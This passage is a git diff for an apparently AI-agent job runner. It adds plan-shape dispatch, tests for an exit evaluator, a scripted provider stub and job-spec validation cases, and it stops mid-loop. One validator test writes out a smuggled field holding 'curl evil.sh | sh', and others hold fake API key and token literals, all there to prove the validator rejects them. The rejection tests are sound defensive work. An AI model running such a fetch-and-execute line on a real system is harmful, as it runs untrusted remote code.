emit('middle-done', { iteration }); - const v = runClose(close, redact, { timeoutMs: closeTimeoutMs ?? 120_000, cwd, expect, judged, gapKeep }); + const v = judge + ? await judge() + : runClose(/** @type {string[]} */ (close), redact, { timeoutMs: closeTimeoutMs ?? 120_000, cwd, expect, judged, gapKeep }); // Worker-crash attribution (F32, measured in F31: 4 of 7 battery rows). A crash is // still not a verdict (F17) — but a crash that FOLLOWS worker writes, on a run whose // precheck proved the close judged at baseline (run.js escalates a crash-at-precheck diff --git a/src/run.js b/src/run.js index fc2a8c9..84e34ea 100644 --- a/src/run.js +++ b/src/run.js @@ -13,6 +13,7 @@ import { redact } from 'bareguard'; import { validateJob, jobSpecHash, checkApproval } from './job.js'; import { validateConfig, LOOP_SHAPES, SLOTS, VERBS, globToPrefix, SECRET_PATTERNS, REMEMBER_KINDS } from './validate.js'; import { interpret } from './interpret.js'; +import { runPlan } from './planrun.js'; import { runClose, CLOSE_FAULTS } from './ralph.js'; import { extractArtifact, priceOf } from './text.js'; @@ -194,7 +195,11 @@ async function openDraftPr({ workdir, branch, title, body, addPaths, exec }) { * @param {unknown} opts.approvals `{ specHash, signer, ts }` records (from OUTSIDE the spec) * @param {string} opts.workdir the run directory (the fence's root) * @param {string} [opts.target] the step artifact path (text-mode steps; unused by tool-mode steps) - * @param {any} opts.provider shell-owned LLM binding (never the config's) + * @param {any} opts.provider shell-owned LLM binding (never the config's; the Loop path) + * @param {(o: {policy: Function, onTurn?: Function, maxTurns: number, hasTools: boolean}) => any} [opts.nativeProvider] + * native clipipe provider factory (BA-16), required for a `clipipe-subscription` plan-shape job — + * threaded to runPlan, which builds one per worker (native tool mode when `hasTools`, else a + * metered claude-json text provider for the toolless drafter); ignored on every Loop-driven provider * @param {(type: string, data?: object) => object} opts.emit spine emitter * @param {number} [opts.capRuns] shell-owned per-step iteration cap * @param {number} [opts.shellCapUsd] the shell's hard USD ceiling @@ -211,7 +216,7 @@ async function openDraftPr({ workdir, branch, title, body, addPaths, exec }) { * 'job-red' | 'smoke-red' | 'config-red' | 'pricing-red' | 'provider-red' | * 'cap-halt' | 'close-unsupported' | `step-red:` */ -export async function runJob(rawSpec, { approvals, workdir, target, provider, emit, capRuns = 3, shellCapUsd = 2, closeTimeoutMs, execCmd = defaultExec, layerRoot = false }) { +export async function runJob(rawSpec, { approvals, workdir, target, provider, nativeProvider, emit, capRuns = 3, shellCapUsd = 2, closeTimeoutMs, execCmd = defaultExec, layerRoot = false }) { // 0. the ledger's counters, declared FIRST so that every job-end — including // the pre-token reds below — can state a real figure. An omitted `spentUsd` is // not a zero: a consumer reads `undefined` and either crashes or launders it @@ -238,16 +243,23 @@ export async function runJob(rawSpec, { approvals, workdir, target, provider, em return 'job-red'; } const job = /** @type {any} */ (jv.job); + // Layer 2: the two exclusive shapes (decision 6). A plan-shape spec (goal/ + // verdictType/close/checks[]) has no steps[] and its steps are tool-mode by + // construction — the text-mode target rule below is a legacy-steps rule only. + const planShape = job.goal !== undefined; // Reds-before-tokens: a text-mode predicate step writes ONE artifact — with // no target it would burn a draft + a worker call and then crash inside the // middle as a misfiled interpreter-red. The spec is fine; the CALL is not. - if ((typeof target !== 'string' || !target) + if (!planShape && (typeof target !== 'string' || !target) && job.steps.some((/** @type {any} */ s) => s.close.type === 'predicate' && (s.mode ?? 'text') === 'text')) { emit('job-red', { code: 'missing-required', path: 'opts.target', detail: 'text-mode steps write ONE artifact — pass opts.target (reds-before-tokens)' }); emit('job-end', { outcome: 'job-red', ...spend() }); return 'job-red'; } - emit('job-start', { job: job.job, specHash: jobSpecHash(job), budgetUsd: job.budgetUsd, steps: job.steps.map((/** @type {any} */ s) => s.id) }); + emit('job-start', { + job: job.job, specHash: jobSpecHash(job), budgetUsd: job.budgetUsd, + ...(planShape ? { shape: 'plan', goal: job.goal } : { steps: job.steps.map((/** @type {any} */ s) => s.id) }), + }); // 2. known-answer smoke before tokens (A3: silent degradation throws nothing) const smoke = await primitiveSmoke(workdir); @@ -284,6 +296,31 @@ export async function runJob(rawSpec, { approvals, workdir, target, provider, em return 'pricing-red'; }; + // ── Layer 2 dispatch: the plan flow (SCOUT → PLAN → EXECUTE → close) under + // the SAME approval gate, smoke, and ledger — runJob stays the one entry + // (N2 lock). runPlan emits every provider round as worker-round, so the + // metered emit above accounts the plan flow natively (F12); the job-end + // money contract is identical to the legacy path. + if (planShape) { + const outcome = await runPlan(job, { + workdir, provider, nativeProvider, emit: meter, capRuns, closeTimeoutMs, + remainingUsd: () => Math.min(shellCapUsd, job.budgetUsd - spentUsd), + isUnpriced: () => unpriced, // F6: let the plan flow bail in-flight, not just after it returns + }); + if (unpriced) return pricingRed(); + if (outcome.startsWith('step-red:')) { + emit('job-end', { outcome: 'step-red', step: outcome.slice('step-red:'.length), ...spend() }); + } else if (outcome === 'provider-red') { + // F44: a transport-throw provider-red never returned a usage figure for the + // failed call, so the priced sum is a FLOOR, not the total — mirror the + // legacy providerRed(): spendComplete false, never overclaim an exact total. + emit('job-end', { outcome, ...spend(), spendComplete: false }); + } else { + emit('job-end', { outcome, ...spend() }); + } + return outcome; + } + // 4. sealed drafting: one shot + one redraft, reds fed back, PRICED path // (through Loop, the same accounting the worker uses — never around it, F6) const drafter = new Loop({ provider, system: 'You draft workflow configs as pure JSON. Output only the JSON object.' }); diff --git a/tests/exits.test.js b/tests/exits.test.js new file mode 100644 index 0000000..530fc54 --- /dev/null +++ b/tests/exits.test.js @@ -0,0 +1,264 @@ +// Layer 2: the exit evaluator — the SHELL's own fixed code for the closed +// exit menu (PRD v1.12 §3: "evaluated by the shell with its own fixed code, +// never a command"). Doctrine under test: +// - exits verify FORM, not truth (progress gates; the close stays the truth) +// - AND-only: every listed exit must pass (decision 8) +// - tree-changed reads OUTCOME (real bytes vs a pre-step snapshot), never +// git status and never gate intent — the F43/F45 blind-instrument class +// - a failing exit's detail is a MECHANICAL gap (named wall, counts) — the +// genre that converts (F38); check-passes delegates through a seam the +// runner wires to runClose (the evaluator itself never spawns) + +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { snapshotScope, evalExits } from '../src/exits.js'; + +/** a throwaway workdir per test — real files, no mocks */ +const makeDir = (t) => { + const dir = mkdtempSync(join(tmpdir(), 'bareloop-exits-')); + t.after(() => rmSync(dir, { recursive: true, force: true })); + return dir; +}; + +// ─── artifact-written ─── + +test('artifact-written: existing file passes; missing file fails naming the path', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + writeFileSync(join(dir, 'tests/notes.md'), 'def foo: covered\n'); + const ok = await evalExits([{ type: 'artifact-written', path: 'tests/notes.md' }], { dir }); + assert.equal(ok.pass, true); + assert.equal(ok.results[0].pass, true); + const miss = await evalExits([{ type: 'artifact-written', path: 'tests/gone.md' }], { dir }); + assert.equal(miss.pass, false); + assert.match(miss.results[0].detail, /tests\/gone\.md/); + assert.match(miss.results[0].detail, /not.*written|does not exist/i); +}); + +test('artifact-written with a pattern: content must match; a non-matching file fails naming the pattern', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + writeFileSync(join(dir, 'tests/notes.md'), 'nothing useful here\n'); + const r = await evalExits([{ type: 'artifact-written', path: 'tests/notes.md', pattern: 'def ' }], { dir }); + assert.equal(r.pass, false); + assert.match(r.results[0].detail, /def /); + writeFileSync(join(dir, 'tests/notes.md'), 'def foo\ndef bar\n'); + const ok = await evalExits([{ type: 'artifact-written', path: 'tests/notes.md', pattern: 'def ' }], { dir }); + assert.equal(ok.pass, true); +}); + +test('artifact-written: an EMPTY file is not a written artifact (a zero-byte touch is not progress)', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + writeFileSync(join(dir, 'tests/notes.md'), ''); + const r = await evalExits([{ type: 'artifact-written', path: 'tests/notes.md' }], { dir }); + assert.equal(r.pass, false); + assert.match(r.results[0].detail, /empty/i); +}); + +// ─── tree-changed (outcome, never intent — F43) ─── + +test('tree-changed: snapshot before + a real byte change after = pass; untouched tree = fail with a zero count', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + writeFileSync(join(dir, 'tests/a.py'), 'x = 1\n'); + const snap = await snapshotScope(dir, 'tests/**'); + const untouched = await evalExits([{ type: 'tree-changed', scope: 'tests/**' }], { dir, snapshot: snap }); + assert.equal(untouched.pass, false, 'the seed tree is green and unchanged — the F17 trap this exit closes'); + assert.match(untouched.results[0].detail, /0 files? changed/); + writeFileSync(join(dir, 'tests/a.py'), 'x = 2\n'); + const changed = await evalExits([{ type: 'tree-changed', scope: 'tests/**' }], { dir, snapshot: snap }); + assert.equal(changed.pass, true); +}); + +test('tree-changed: a NEW file under the scope counts as change; a change OUTSIDE the scope does not', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + mkdirSync(join(dir, 'src')); + writeFileSync(join(dir, 'src/mod.py'), 'y = 1\n'); + const snap = await snapshotScope(dir, 'tests/**'); + writeFileSync(join(dir, 'src/mod.py'), 'y = 2\n'); // outside scope + const outside = await evalExits([{ type: 'tree-changed', scope: 'tests/**' }], { dir, snapshot: snap }); + assert.equal(outside.pass, false, 'an out-of-scope change is not this step\'s progress'); + writeFileSync(join(dir, 'tests/new_test.py'), 'def test_x(): pass\n'); + const added = await evalExits([{ type: 'tree-changed', scope: 'tests/**' }], { dir, snapshot: snap }); + assert.equal(added.pass, true); +}); + +test('tree-changed: an identical re-write (same bytes) is NOT a change — outcome, not intent (the F43 identical-refire trap)', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + writeFileSync(join(dir, 'tests/a.py'), 'x = 1\n'); + const snap = await snapshotScope(dir, 'tests/**'); + writeFileSync(join(dir, 'tests/a.py'), 'x = 1\n'); // re-fire, same bytes + const r = await evalExits([{ type: 'tree-changed', scope: 'tests/**' }], { dir, snapshot: snap }); + assert.equal(r.pass, false, 'same bytes = no outcome, whatever the write intent was'); +}); + +test('tree-changed: TWO tree-changed exits in one step — an UNCHANGED scope must NOT pass by borrowing the other scope\'s change (merged-snapshot deletion contamination)', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'a')); + mkdirSync(join(dir, 'b')); + writeFileSync(join(dir, 'a/keep.txt'), 'a original\n'); + writeFileSync(join(dir, 'b/keep.txt'), 'b original\n'); + // planrun builds ONE merged snapshot across every tree-changed scope of the step + const snapshot = new Map(); + for (const scope of ['a/**', 'b/**']) for (const [k, v] of await snapshotScope(dir, scope)) snapshot.set(k, v); + // the worker changes ONLY b; a is byte-identical to the step start + writeFileSync(join(dir, 'b/keep.txt'), 'b CHANGED\n'); + const { pass, results } = await evalExits( + [{ type: 'tree-changed', scope: 'a/**' }, { type: 'tree-changed', scope: 'b/**' }], + { dir, snapshot }, + ); + assert.equal(results[0].pass, false, 'a/** did not change — it must not count b/**\'s files as its own deletions'); + assert.equal(results[1].pass, true, 'b/** genuinely changed'); + assert.equal(pass, false, 'AND-only: one unchanged scope fails the step'); +}); + +test('tree-changed: a DELETED file counts as change; a scope dir that does not exist yet snapshots empty', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + writeFileSync(join(dir, 'tests/a.py'), 'x = 1\n'); + const snap = await snapshotScope(dir, 'tests/**'); + rmSync(join(dir, 'tests/a.py')); + const r = await evalExits([{ type: 'tree-changed', scope: 'tests/**' }], { dir, snapshot: snap }); + assert.equal(r.pass, true, 'deletion is a real tree change'); + const emptySnap = await snapshotScope(dir, 'newdir/**'); + assert.equal(emptySnap.size, 0, 'missing scope dir = empty snapshot, never a throw'); +}); + +test('tree-changed without a snapshot in ctx fails CLOSED as a fault (a blind instrument must never read "changed" — and never feed a worker gap)', async (t) => { + const dir = makeDir(t); + const r = await evalExits([{ type: 'tree-changed', scope: 'tests/**' }], { dir }); + assert.equal(r.pass, false); + assert.equal(r.results[0].fault, 'failed'); + assert.match(r.results[0].detail, /snapshot/i); +}); + +// ─── json-valid ─── + +test('json-valid: parseable file passes; broken JSON fails naming the parse error; missing file fails', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + writeFileSync(join(dir, 'tests/out.json'), '{"cases": 3}'); + const ok = await evalExits([{ type: 'json-valid', path: 'tests/out.json' }], { dir }); + assert.equal(ok.pass, true); + writeFileSync(join(dir, 'tests/out.json'), '{nope'); + const bad = await evalExits([{ type: 'json-valid', path: 'tests/out.json' }], { dir }); + assert.equal(bad.pass, false); + assert.match(bad.results[0].detail, /JSON/); + const miss = await evalExits([{ type: 'json-valid', path: 'tests/absent.json' }], { dir }); + assert.equal(miss.pass, false); +}); + +// ─── check-passes (the seam — the runner wires runClose; the evaluator never spawns) ─── + +test('check-passes delegates to ctx.runCheck and carries its gap through verbatim', async (t) => { + const dir = makeDir(t); + const calls = []; + const runCheck = async (name) => { calls.push(name); return { pass: false, gap: '2 failed: FAILED test_a — AssertionError' }; }; + const r = await evalExits([{ type: 'check-passes', name: 'clean-run' }], { dir, runCheck }); + assert.deepEqual(calls, ['clean-run']); + assert.equal(r.pass, false); + assert.match(r.results[0].detail, /FAILED test_a/, 'the check\'s gap IS the mechanical wall the worker pushes on (F46)'); + const green = await evalExits([{ type: 'check-passes', name: 'clean-run' }], { dir, runCheck: async () => ({ pass: true, gap: '' }) }); + assert.equal(green.pass, true); +}); + +test('check-passes without a wired runCheck fails CLOSED as a FAULT (broken-close class: an instrument stop, never worker feedback)', async (t) => { + const dir = makeDir(t); + const r = await evalExits([{ type: 'check-passes', name: 'clean-run' }], { dir }); + assert.equal(r.pass, false); + assert.equal(r.results[0].fault, 'failed', 'fault carries the runClose verdict name so the loop escalates instead of retrying'); + assert.match(r.results[0].detail, /runCheck|not wired/i); +}); + +test('a THROWING runCheck fails closed as a fault with the error in the detail — never an unhandled rejection', async (t) => { + const dir = makeDir(t); + const r = await evalExits([{ type: 'check-passes', name: 'clean-run' }], { dir, runCheck: async () => { throw new Error('spawn ENOENT'); } }); + assert.equal(r.pass, false); + assert.equal(r.results[0].fault, 'failed'); + assert.match(r.results[0].detail, /spawn ENOENT/); +}); + +test('a runCheck result carrying a forbidden-zone fault rides through — a crashed check stays crashed (F32 routing input), a timeout stays a timeout', async (t) => { + const dir = makeDir(t); + const crashed = await evalExits([{ type: 'check-passes', name: 'clean-run' }], + { dir, runCheck: async () => ({ pass: false, fault: 'crashed', gap: 'check judged 0 of a declared floor of 5' }) }); + assert.equal(crashed.pass, false); + assert.equal(crashed.results[0].fault, 'crashed', 'the verdict name survives so ralph routes it (worker-crash after writes, instrument stop otherwise)'); + assert.match(crashed.results[0].detail, /floor of 5/); + const timed = await evalExits([{ type: 'check-passes', name: 'clean-run' }], + { dir, runCheck: async () => ({ pass: false, fault: 'timed-out', gap: 'check exceeded 120000ms' }) }); + assert.equal(timed.results[0].fault, 'timed-out'); +}); + +test('an honest check RED carries NO fault — it is worker feedback, not an instrument stop', async (t) => { + const dir = makeDir(t); + const r = await evalExits([{ type: 'check-passes', name: 'clean-run' }], + { dir, runCheck: async () => ({ pass: false, gap: '2 failed: FAILED test_a' }) }); + assert.equal(r.results[0].fault, undefined); +}); + +// ─── composition (AND-only, decision 8) ─── + +test('AND-only: one passing + one failing exit = overall fail, BOTH results reported (the gap names every wall, not the first)', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + writeFileSync(join(dir, 'tests/t.py'), 'def test(): pass\n'); + const snap = await snapshotScope(dir, 'tests/**'); + writeFileSync(join(dir, 'tests/t.py'), 'def test_2(): pass\n'); + const r = await evalExits([ + { type: 'tree-changed', scope: 'tests/**' }, + { type: 'check-passes', name: 'clean-run' }, + ], { dir, snapshot: snap, runCheck: async () => ({ pass: false, gap: '1 failed' }) }); + assert.equal(r.pass, false); + assert.equal(r.results.length, 2); + assert.equal(r.results[0].pass, true); + assert.equal(r.results[1].pass, false); +}); + +test('an unknown exit type fails CLOSED (belt — the validator already reds it; the evaluator must not silently pass what it cannot judge)', async (t) => { + const dir = makeDir(t); + const r = await evalExits([{ type: 'vibes-good' }], { dir }); + assert.equal(r.pass, false); + assert.match(r.results[0].detail, /vibes-good/); +}); + +test('evaluator results carry NO file contents — details are counts and names only (spine-bound text stays bounded)', async (t) => { + const dir = makeDir(t); + mkdirSync(join(dir, 'tests')); + const big = 'SECRETISH '.repeat(5000); + writeFileSync(join(dir, 'tests/big.md'), big); + const snap = await snapshotScope(dir, 'tests/**'); + writeFileSync(join(dir, 'tests/big.md'), big + 'x'); + const r = await evalExits([{ type: 'tree-changed', scope: 'tests/**' }], { dir, snapshot: snap }); + assert.equal(r.pass, true); + for (const res of r.results) { + assert.ok((res.detail ?? '').length < 500, 'details stay bounded'); + assert.ok(!(res.detail ?? '').includes('SECRETISH'), 'file bodies never ride the result'); + } +}); + +test('check-passes: a red check gap is carried WHOLE, not clamped to 400 chars — the gapKeep failing-test NAMES survive to the worker (review #2, F28 must not reappear)', async () => { + // runClose already bounds the gap (~10KB head+keepblock+tail); the evaluator + // must NOT re-truncate to 400 and delete the `FAILED`/`not ok` names that ARE + // the worker's aim — the F46 conversion mechanism depends on them reaching it. + const names = Array.from({ length: 40 }, (_, i) => `FAILED tests/test_mod_${i}.mjs — assertion failed`).join('\n'); + const longGap = `${'preamble line that eats the first four hundred characters. '.repeat(10)}\n${names}`; + assert.ok(longGap.indexOf('test_mod_39') > 400, 'the last name lives well past char 400 (the test would be vacuous otherwise)'); + const runCheck = async () => ({ pass: false, gap: longGap }); + const { results } = await evalExits([{ type: 'check-passes', name: 'clean-run' }], { dir: '/tmp', runCheck }); + assert.ok(results[0].detail.includes('test_mod_39'), 'the last failing-test name reaches the detail — not sliced off'); +}); + +test('check-passes fault path also carries the whole bounded gap (the forbidden-zone branch, not only needs_revision) (review #2)', async () => { + const longGap = `crash detail: ${'x'.repeat(1200)}`; + const runCheck = async () => ({ pass: false, fault: 'crashed', gap: longGap }); + const { results } = await evalExits([{ type: 'check-passes', name: 'c' }], { dir: '/tmp', runCheck }); + assert.equal(results[0].fault, 'crashed', 'the forbidden-zone verdict still rides through by name (F32 routing input)'); + assert.ok(results[0].detail.length > 1000, 'a crashed check carries its full bounded gap, not a 400 clamp'); +}); diff --git a/tests/helpers.js b/tests/helpers.js index a5a09a1..3284e48 100644 --- a/tests/helpers.js +++ b/tests/helpers.js @@ -83,6 +83,81 @@ test('adds', () => assert.equal(sum(2, 3), 5));`); return { workdir, target: join(workdir, 'src', 'sum.mjs'), close: ['node', '--test', suite], suiteCmd: `node --test ${suite}` }; } +/** + * Scripted NATIVE clipipe provider factory (BA-16 shape) — the analog of + * `scriptedProvider` for the surface where the CLI owns the turn cycle. The + * factory receives `{policy, onTurn, maxTurns}` (the per-worker governance the + * runner clips onto the PROVIDER, not the Loop); the returned provider's + * `generate()` runs ONE session per call: it meters each scripted turn through + * `onTurn` (costUsd `null` — the CLI prices the SESSION), honors the gate + * `policy` on tool turns (a deny SKIPS the tool, exactly as the bridge does), + * bounds at `maxTurns` (surfacing `error:'max_turns'`), and closes with one + * authoritative `kind:'session'` cost. `ownsCycle` + `session.usageReported` + * reproduce the real provider's contract, so the real Loop drives it identically + * (the live POC proved the REAL provider+gate; this drives OUR executor branch). + * @param {Array<{turns: Array<{text?: string, tool?: string, args?: any}>, cost?: number}>} sessions + * one entry per `generate()` call (sticks on the last) + */ +export function scriptedNativeFactory(sessions) { + // ONE script tape shared across every worker's provider (the runner builds a + // fresh native provider per worker, so `s` must live OUT here — the analog of + // scriptedProvider's single shared `calls` cursor; a per-provider counter + // would replay scout→plan→step from the top for each worker). + let s = 0; + return ({ policy, onTurn, maxTurns, hasTools }) => { + // FAITHFUL to the live-verified reality: a native session with NO tools fires + // ZERO onTurn events and reports no cost, so the runner routes a toolless + // worker (the drafter) through claude-json TEXT mode — a plain metered + // result cost, exactly like an API round (via the Loop's onLlmResult). A fake + // that fired onTurn for a toolless session would MASK the unmetered-spend bug + // the live smoke caught (validate against the real instrument, not a fixture). + if (!hasTools) { + return { + name: 'clipipe-native-text-stub', + async generate() { + const plan = sessions[Math.min(s++, sessions.length - 1)]; + const text = plan.turns.map((/** @type {any} */ t) => t.text ?? '').filter(Boolean).join('\n'); + return { text, toolCalls: [], usage: { inputTokens: 5, outputTokens: 5 }, model: 'clipipe', costUsd: plan.cost ?? 0.01, stopReason: null }; + }, + }; + } + return { + name: 'clipipe-native-stub', + ownsCycle: true, + /** @param {any} _messages @param {Array<{name: string, execute: Function}>} [tools] */ + async generate(_messages, tools = []) { + const plan = sessions[Math.min(s++, sessions.length - 1)]; + let turns = 0; let toolCalls = 0; let lastText = ''; let error = null; + const meter = async (/** @type {object} */ arg) => { + try { await onTurn(arg); } catch (e) { + if (e && /** @type {any} */ (e).name === 'HaltError') { error = error ?? `halt:${/** @type {any} */ (e).message}`; return false; } + throw e; + } + return true; + }; + for (const step of plan.turns) { + if (turns >= maxTurns) { error = 'max_turns'; break; } + turns += 1; + if (!(await meter({ usage: { inputTokens: 5, outputTokens: 5 }, costUsd: null, pricing: null, kind: 'turn' }))) break; + if (step.text !== undefined) { lastText = step.text; continue; } + if (step.tool) { + toolCalls += 1; + let verdict; + try { verdict = await policy(step.tool, step.args, undefined); } + catch (e) { if (e && /** @type {any} */ (e).name === 'HaltError') { error = `halt:${/** @type {any} */ (e).message}`; break; } throw e; } + if (verdict !== true) continue; // deny is advisory — the tool never runs (the fence held) + const tool = tools.find((t) => t.name === step.tool); + if (tool) await tool.execute(step.args); + } + } + // the authoritative session cost (the CLI prices the whole session) + await meter({ usage: {}, costUsd: plan.cost ?? 0.01, pricing: 'priced', kind: 'session' }); + return { text: lastText, toolCalls: [], usage: { inputTokens: 5, outputTokens: 5 }, model: 'clipipe', session: { turns, toolCalls, error, usageReported: true }, error }; + }, + }; + }; +} + /** ONE spine reader: parsed events in seq order. @param {string} file */ export const readSpine = (file) => readFileSync(file, 'utf8').trimEnd().split('\n').filter(Boolean).map((l) => JSON.parse(l)); diff --git a/tests/job.test.js b/tests/job.test.js index 8d6914c..9af9162 100644 --- a/tests/job.test.js +++ b/tests/job.test.js @@ -10,7 +10,7 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; import { readFileSync } from 'node:fs'; -import { validateJob, jobSpecHash, checkApproval, CLASS_BY_CLOSE, CLOSE_TYPES, CLASSES, TOOL_MENU, LOCKED_TOOLS } from '../src/job.js'; +import { validateJob, jobSpecHash, checkApproval, CLASS_BY_CLOSE, CLOSE_TYPES, CLASSES, TOOL_MENU, LOCKED_TOOLS, VERDICT_TYPES, LOCKED_VERDICTS } from '../src/job.js'; import { validateConfig } from '../src/validate.js'; // Job #1 exactly as the PRD §6 defines it — real target, not a fixture @@ -464,6 +464,148 @@ test('gapKeep is inexpressible on a hitl close — a human close renders no stre assert.ok(r.reds.some((x) => x.code === 'unknown-field' && x.path === 'steps.2.close.gapKeep')); }); +// ─── Layer 2: the four-field plan shape (design record 2026-07-21, decisions 5+6) ─── +// A job-v1 spec declares EITHER the legacy operator-authored steps[] chain OR the +// four-field plan shape (goal / verdictType / close / checks[]) — never both. +// steps[] is co-existing scaffolding with a staged sunset (archives alongside +// config-v1 when the Layer 2 path proves itself). v1 ADMITS only verdictType +// "green": soft-green/hitl are declared-but-locked (request-red, the tool-menu +// pattern — disclosure ≠ admission). Checks reuse the predicate-close shape and +// run under the same runClose machinery; they decide nothing and mint nothing. + +const JOB4 = { + schema: 'job-v1', + job: 'aurora-testgen', + description: 'write a pytest suite for the untested orchestrator; mutation kill-rate is the close; the agent authors the step plan', + provider: 'anthropic-api', + cadence: { unit: 'week', every: 1 }, + budgetUsd: 1.8, + writeScope: ['tests/**'], + goal: 'Write a pytest suite for src/aurora/agent/orchestrator.py that kills at least 45% of the frozen mutant set.', + verdictType: 'green', + close: { type: 'predicate', cmd: 'python grade.py', expect: 0 }, + checks: [ + { name: 'clean-run', cmd: 'python -m pytest -ra tests/test_orchestrator.py', expect: 0, gapKeep: '^FAILED' }, + { name: 'form-floor', cmd: 'python check_form.py', expect: 0, judged: { pattern: 'collected (\\d+) items', min: 5 } }, + ], + tools: ['read', 'grep', 'write', 'edit', 'recall', 'get'], + escalation: { mode: 'decision-ready' }, +}; +const mut4 = (fn) => { const j = clone(JOB4); fn(j); return j; }; + +test('the four-field plan shape validates green and returns the spec', () => { + const r = validateJob(JOB4); + assert.deepEqual(r.reds, []); + assert.equal(r.ok, true); + assert.deepEqual(r.job, JOB4); +}); + +test('checks and tools are optional in the plan shape (a plan job may rely on form exits alone)', () => { + const r = validateJob(mut4((j) => { delete j.checks; delete j.tools; })); + assert.deepEqual(r.reds, []); +}); + +test('VERDICT_TYPES ships frozen: green admitted, soft-green/hitl declared-but-locked', () => { + assert.deepEqual([...VERDICT_TYPES], ['green', 'soft-green', 'hitl']); + assert.ok(Object.isFrozen(VERDICT_TYPES)); + assert.deepEqual([...LOCKED_VERDICTS], ['soft-green', 'hitl']); + assert.ok(Object.isFrozen(LOCKED_VERDICTS)); +}); + +test('a locked verdictType is a request-red with the type as a STRUCTURED verb field (admission demand, the ledger keys on it)', () => { + for (const vt of ['soft-green', 'hitl']) { + const close = vt === 'hitl' + ? { type: 'hitl', prompt: 'review the draft?' } + : { type: 'rubric', criteria: 'summary reads well' }; + const r = validateJob(mut4((j) => { j.verdictType = vt; j.close = close; delete j.checks; })); + assert.equal(r.ok, false, `${vt} must red`); + assert.equal(r.reds.length, 1, `exactly one red, got ${JSON.stringify(r.reds)}`); + const red = r.reds[0]; + assert.equal(`${red.code}:${red.path}`, 'request-red:verdictType'); + assert.equal(red.verb, vt, 'the declared type rides the red as a structured field'); + assert.match(red.detail ?? '', /not at this rung/); + } +}); + +test('plan-shape spec edits change the hash (a check edit is a new spec version)', () => { + assert.notEqual(jobSpecHash(JOB4), jobSpecHash(mut4((j) => { j.checks[0].cmd = 'python -m pytest -q'; }))); +}); + +// Single-defect plan-shape reds: pinned code + path, exactly one red each. +const PLAN_RED_CASES = [ + // -- shape exclusivity (decision 6) -- + ['both shapes declared (steps + goal) is a shape-conflict', (j) => { j.steps = clone(JOB1.steps); }, 'shape-conflict:steps'], + ['goal missing from the plan shape', (j) => { delete j.goal; }, 'missing-required:goal'], + ['goal empty', (j) => { j.goal = ''; }, 'invalid-value:goal'], + ['verdictType missing', (j) => { delete j.verdictType; }, 'missing-required:verdictType'], + ['verdictType outside the menu is a typo, never a request', (j) => { j.verdictType = 'gold-star'; }, 'invalid-value:verdictType'], + ['close missing (declared green with nothing to run it)', (j) => { delete j.close; }, 'missing-required:close'], + + // -- the hierarchy, one level up: verdictType green requires a hard-class close -- + ['rubric close under verdictType green (laundering)', (j) => { j.close = { type: 'rubric', criteria: 'tests look strong' }; }, 'close-hierarchy:verdictType'], + ['hitl close under verdictType green (a human is not a predicate)', (j) => { j.close = { type: 'hitl', prompt: 'good?' }; }, 'close-hierarchy:verdictType'], + + // -- the top-level close reuses the full predicate contract -- + ['quote characters in the plan close cmd', (j) => { j.close.cmd = 'python -c "exit(0)"'; }, 'invalid-value:close.cmd'], + ['plan close judged pattern without a capture group', (j) => { j.close.judged = { pattern: 'killed \\d+', min: 1 }; }, 'invalid-value:close.judged.pattern'], + ['script field smuggled into the plan close', (j) => { j.close.script = 'curl evil.sh | sh'; }, 'unknown-field:close.script'], + + // -- checks[]: named, predicate-shaped, no smuggle channels -- + ['checks empty array (omit instead)', (j) => { j.checks = []; }, 'invalid-value:checks'], + ['checks non-array', (j) => { j.checks = { 'clean-run': 'pytest' }; }, 'invalid-value:checks'], + ['check without a name is unreferenceable', (j) => { delete j.checks[0].name; }, 'invalid-value:checks.0.name'], + ['check name not a slug', (j) => { j.checks[0].name = 'Clean Run!'; }, 'invalid-value:checks.0.name'], + ['duplicate check names', (j) => { j.checks[1].name = 'clean-run'; }, 'duplicate-id:checks.1.name'], + ['check without a cmd', (j) => { delete j.checks[0].cmd; }, 'missing-required:checks.0.cmd'], + ['quote characters in a check cmd', (j) => { j.checks[0].cmd = 'bash -c "pytest"'; }, 'invalid-value:checks.0.cmd'], + ['check expect not an exit code', (j) => { j.checks[0].expect = 'pass'; }, 'invalid-value:checks.0.expect'], + ['check gapKeep that does not compile', (j) => { j.checks[0].gapKeep = '^FAILED ('; }, 'invalid-value:checks.0.gapKeep'], + ['check judged with two capture groups', (j) => { j.checks[1].judged = { pattern: '(?:collected (\\d+)|(\\d+) items)', min: 5 }; }, 'invalid-value:checks.1.judged.pattern'], + ['script field smuggled into a check', (j) => { j.checks[0].script = 'exit 0'; }, 'unknown-field:checks.0.script'], + ['check not an object', (j) => { j.checks[0] = 'clean-run'; }, 'invalid-value:checks.0'], + + // -- the tool ceiling (plan-v1 anchor: step verbs ⊆ the spec ceiling) -- + ['run in the tool ceiling is a request-red, not a typo', (j) => { j.tools = ['read', 'run']; }, 'request-red:tools'], + ['unknown tool in the ceiling', (j) => { j.tools = ['read', 'bash']; }, 'invalid-value:tools'], + ['empty tool ceiling is ungrantable', (j) => { j.tools = []; }, 'invalid-value:tools'], + ['duplicate ceiling entries', (j) => { j.tools = ['read', 'read']; }, 'invalid-value:tools'], + ['a write-only ceiling leaves the scout blind (no read-capable verb) — review #8', (j) => { j.tools = ['write', 'edit']; }, 'invalid-value:tools'], + + // -- secrets sweep covers the new fields -- + ['inline key in the goal', (j) => { j.goal = 'auth with sk-ant-api03-abcdefghijklmnop then write tests'; }, 'secret-literal:goal'], + ['token in a check cmd', (j) => { j.checks[0].cmd = 'pytest --token ghp_abcdefghijklmnopqrstuv'; }, 'secret-literal:checks.0.cmd'], +]; + +for (const [name, fn, want] of PLAN_RED_CASES) { + 